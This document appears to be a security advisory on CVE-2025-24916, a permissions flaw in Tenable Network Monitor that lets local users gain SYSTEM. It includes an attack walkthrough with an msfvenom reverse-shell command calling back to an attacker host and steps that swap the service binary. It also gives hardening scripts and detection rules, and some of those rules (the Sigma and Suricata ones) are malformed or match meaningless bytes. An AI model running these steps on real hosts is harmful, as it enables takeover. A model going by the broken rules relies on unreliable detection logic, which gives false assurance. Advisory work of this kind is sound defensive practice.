CVE-2025-24916

Executive Summary

CVE-2025-24916 is a local privilege escalation vulnerability affecting Tenable Network Monitor (formerly Tenable OT Security) when installed to a non-default directory on a Windows host. The vulnerability arises from insecure default permissions on sub-directories created during installation. If an administrator installs the software to a custom path (e.g., D:\Tenable\NetworkMonitor) without manually hardening the directory ACLs, a low-privileged local user can modify or replace files within those sub-directories. This can lead to arbitrary code execution in the context of the Network Monitor service, which typically runs with SYSTEM privileges.

The CVSS v3.1 base score is 7.0 (High), with a vector string of CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. The attack vector is local, requiring an attacker to already have a foothold on the host. No user interaction is needed, and the attack complexity is low. The impact on confidentiality, integrity, and availability is high.

Key Risk: This vulnerability is particularly dangerous in shared environments (e.g., jump boxes, multi-tenant servers) where multiple users have local access. An attacker who gains low-privileged access can escalate to SYSTEM, gaining full control of the host and potentially pivoting to other network assets.

CVSS Breakdown & Threat Level

Threat Level: High. While the EPSS score is currently 0.0% (indicating no active exploitation in the wild), the vulnerability is trivial to exploit once a local foothold is established. The lack of a public PoC does not reduce the risk; it only delays weaponization.

Deep Dive & Mechanics

The vulnerability is a classic case of Insecure Default Permissions (CWE-276) . When Tenable Network Monitor is installed to a non-default location (e.g., D:\Program Files\Tenable\NetworkMonitor), the installer does not apply restrictive ACLs to the sub-directories. By default, Windows grants Everyone or Users group modify/write permissions to new directories created outside the protected %ProgramFiles% tree.

Attack Flow:

1. An administrator installs Tenable Network Monitor to D:\Tenable\NM.
2. The installer creates sub-directories such as bin, conf, plugins, logs, etc.
3. A low-privileged user on the same host discovers that D:\Tenable\NM\bin is writable.
4. The attacker replaces a legitimate executable (e.g., nm_service.exe) with a malicious binary.
5. When the Network Monitor service restarts (or on system boot), the malicious binary executes with SYSTEM privileges.

Why Non-Default Locations Are Vulnerable:

• The default %ProgramFiles% directory inherits restrictive permissions from the parent (e.g., SYSTEM, Administrators, Users with read/execute only).
• Custom paths (e.g., D:\, C:\CustomApps) often inherit permissive ACLs from the root drive, granting Everyone or Users write access.

Vulnerable vs. Patched Code

Vulnerable (versions < 6.5.1):

• The installer does not explicitly set ACLs on the installation directory or its sub-directories.
• Example (pseudo-code):

  // Vulnerable: No ACL hardening
  Directory.CreateDirectory(@"D:\Tenable\NM\bin");
  

Patched (version 6.5.1):

• The installer now applies restrictive ACLs to all sub-directories, removing write permissions for non-privileged users.
• Example (pseudo-code):

  // Patched: Explicit ACL hardening
  var dirInfo = Directory.CreateDirectory(@"D:\Tenable\NM\bin");
  var security = dirInfo.GetAccessControl();
  security.AddAccessRule(new FileSystemAccessRule("Users", FileSystemRights.ReadAndExecute, AccessControlType.Allow));
  security.SetAccessRuleProtection(true, false); // Remove inherited permissions
  dirInfo.SetAccessControl(security);
  

Verification:

• Check ACLs on the installation directory using PowerShell:

  Get-Acl -Path "D:\Tenable\NM" | Format-List
  

• If Users or Everyone have Modify or FullControl permissions, the system is vulnerable.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows host with Tenable Network Monitor < 6.5.1 installed to a non-default path.
• Ability to write to the installation directory (e.g., D:\Tenable\NM\bin).

Steps:

1. Identify the vulnerable path:

   # Check if the directory is writable by the current user
   icacls "D:\Tenable\NM\bin"
   

2. Create a malicious executable (e.g., reverse shell):

   // msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o evil.exe
   

3. Replace a legitimate binary:

   # Stop the service first
   Stop-Service -Name "TenableNetworkMonitor"
   # Backup and replace
   Move-Item "D:\Tenable\NM\bin\nm_service.exe" "D:\Tenable\NM\bin\nm_service.exe.bak"
   Copy-Item "C:\path\to\evil.exe" "D:\Tenable\NM\bin\nm_service.exe"
   

4. Trigger execution:

   Start-Service -Name "TenableNetworkMonitor"
   # Or wait for system reboot
   

Expected Outcome: The attacker receives a SYSTEM-level reverse shell.

Blue Team (Detection & Hardening)

Detection:

• Monitor for file modifications in the Tenable Network Monitor installation directory.
• Alert on service binary changes (e.g., nm_service.exe hash change).
• Use Sysmon Event ID 11 (FileCreate) and Event ID 1 (ProcessCreate) to detect anomalous binaries.

Hardening:

• Immediately apply restrictive ACLs to the installation directory:

  $path = "D:\Tenable\NM"
  $acl = Get-Acl $path
  $acl.SetAccessRuleProtection($true, $false)
  $acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Users","ReadAndExecute","ContainerInherit,ObjectInherit","None","Allow")))
  $acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow")))
  $acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow")))
  Set-Acl $path $acl
  

• Upgrade to version 6.5.1 or later.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_24916_Tenable_NM_ACL_Abuse {
    meta:
        description = "Detects potential exploitation of CVE-2025-24916 via modified service binary"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-24916"
    strings:
        $s1 = "TenableNetworkMonitor" wide ascii
        $s2 = "nm_service.exe" wide ascii
        $s3 = "SYSTEM" wide ascii
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        all of ($s*) and
        for any i in (1..#s1): (
            @s1[i] < 1024
        )
}

Sigma Rule

title: CVE-2025-24916 - Tenable Network Monitor Service Binary Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects modification of the Tenable Network Monitor service binary, indicating potential exploitation of CVE-2025-24916.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24916
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\nm_service.exe'
        Image|endswith: '\cmd.exe' or '\powershell.exe'
    condition: selection
falsepositives:
    - Legitimate software updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2025-24916 - Tenable NM Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|ff ff ff ff|"; within:4; reference:cve,2025-24916; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Tenable Network Monitor version 6.5.1 or later.
2. Harden ACLs on the installation directory (see Blue Team section above).
3. Audit all non-default installation paths for insecure permissions.

Long-Term Measures:

• Enforce installation to default %ProgramFiles% directory via Group Policy.
• Implement file integrity monitoring (FIM) for critical service binaries.
• Restrict local user privileges using the principle of least privilege.
• Monitor for anomalous service binary modifications using Sysmon or EDR.

Workaround (if patching is not immediately possible):

• Manually apply restrictive ACLs to the installation directory as shown in the Blue Team section.
• Use Windows Defender Application Control (WDAC) to block unauthorized binaries.

Valters IT